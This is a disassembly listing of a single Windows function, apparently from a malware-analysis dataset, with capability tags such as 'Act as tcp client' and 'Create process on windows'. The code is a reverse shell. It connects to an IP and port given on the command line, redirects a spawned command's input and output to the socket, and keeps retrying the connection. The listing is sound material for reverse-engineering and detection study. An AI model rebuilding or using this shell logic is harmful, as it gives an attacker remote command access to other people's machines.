Function at 0x4015c7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x340
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x2d0], ecx
mov qword [rbp + 0x2d8], rdx
call dbg.__main
cmp dword [rbp + 0x2d0], 3
jg 0x40162d
mov rax, qword [rbp + 0x2d8]
mov rax, qword [rax]
mov rdx, rax
lea rcx, str.Usage:__s_IP_PORT_CMD_RETRY_INTERVAL__s__n
call sym.printf
lea rcx, str.If_the_retry_interval_is_set_to_0_the_shell_will_be_executed_only_once_n
call sym.printf
lea rcx, str.By_specifying_s_as_last_parameter_the_shell_will_be_spawned_as_a_subprocess_n
call sym.printf
mov eax, 1
jmp 0x401abf
mov rax, qword [rbp + 0x2d8]
mov rax, qword [rax + 8]
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2d8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov word [rbp + 0x2ae], ax
mov rax, qword [rbp + 0x2d8]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x2a0], rax
mov word [rbp + 0x2be], 0x1388
mov byte [rbp + 0x2bd], 1
mov rax, qword [rbp + 0x2d8]
add rax, 0x20
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
je 0x4016bc
mov rax, qword [rbp + 0x2d8]
add rax, 0x20
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov word [rbp + 0x2be], ax
mov byte [rbp + 0x2bd], 0
mov eax, dword [rbp + 0x2d0]
cdqe
shl rax, 3
lea rdx, [rax - 8]
mov rax, qword [rbp + 0x2d8]
add rax, rdx
mov rax, qword [rax]
lea rdx, [0x0040a0c5]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x40183b
movzx ecx, word [rbp + 0x2be]
movzx edx, word [rbp + 0x2ae]
mov rax, qword [rbp + 0x2d8]
mov r8, qword [rax]
mov r9, qword [rbp + 0x2b0]
lea rax, [rbp - 0x30]
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp + 0x2a0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edx
lea rdx, str._s__s__d__s__d
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0x40]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x40], 0x68
lea rax, [rbp + 0xd0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0xd0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x401825
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessId]
call rax
mov edx, eax
lea rax, [rbp - 0x30]
mov r8d, edx
mov rdx, rax
lea rcx, str.subprocess_started_as__s_with_PID:__d_n
call sym.printf
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x401abf
lea rcx, str.subprocess_creation_failed_n
call sym.printf
mov eax, 1
jmp 0x401abf
lea rax, [rbp + 0x100]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x40186d
lea rcx, str.WSASturtup_failed._n
call sym.printf
mov eax, 1
jmp 0x401abf
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x298], rax
mov word [rbp + 0xf0], 2
movzx eax, word [rbp + 0x2ae]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0xf2], ax
mov rax, qword [rbp + 0x2b0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0xf4], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x298], rax
jmp 0x401934
lea rcx, str.Connecting..._n
call sym.printf
movzx eax, word [rbp + 0x2be]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x298]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jne 0x401916
lea rcx, str.Connected__n
call sym.printf
lea rax, [rbp + 0x40]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x40], 0x68
mov dword [rbp + 0x7c], 0x100
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x2a0]
lea rdx, [rbp + 0xb0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
lea rcx, str.Shell_subprocess_spawned__n
call sym.printf
cmp byte [rbp + 0x2bd], 0
je 0x401a2d
mov eax, 0
jmp 0x401abf
movzx eax, word [rbp + 0x2be]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0xb0]
lea rdx, [rbp + 0xec]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
test eax, eax
je 0x401a78
mov eax, dword [rbp + 0xec]
cmp eax, 0x103
je 0x401a2d
lea rcx, str.Process_terminated_retrying_connection_n
call sym.printf
jmp 0x401a86
lea rcx, str.Failed_to_retrieve_shell_status_n
call sym.printf
jmp 0x401a2d
mov rax, qword [rbp + 0x298]
mov ecx, eax
call sym.close
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x4018de
add rsp, 0x340
pop rbp
ret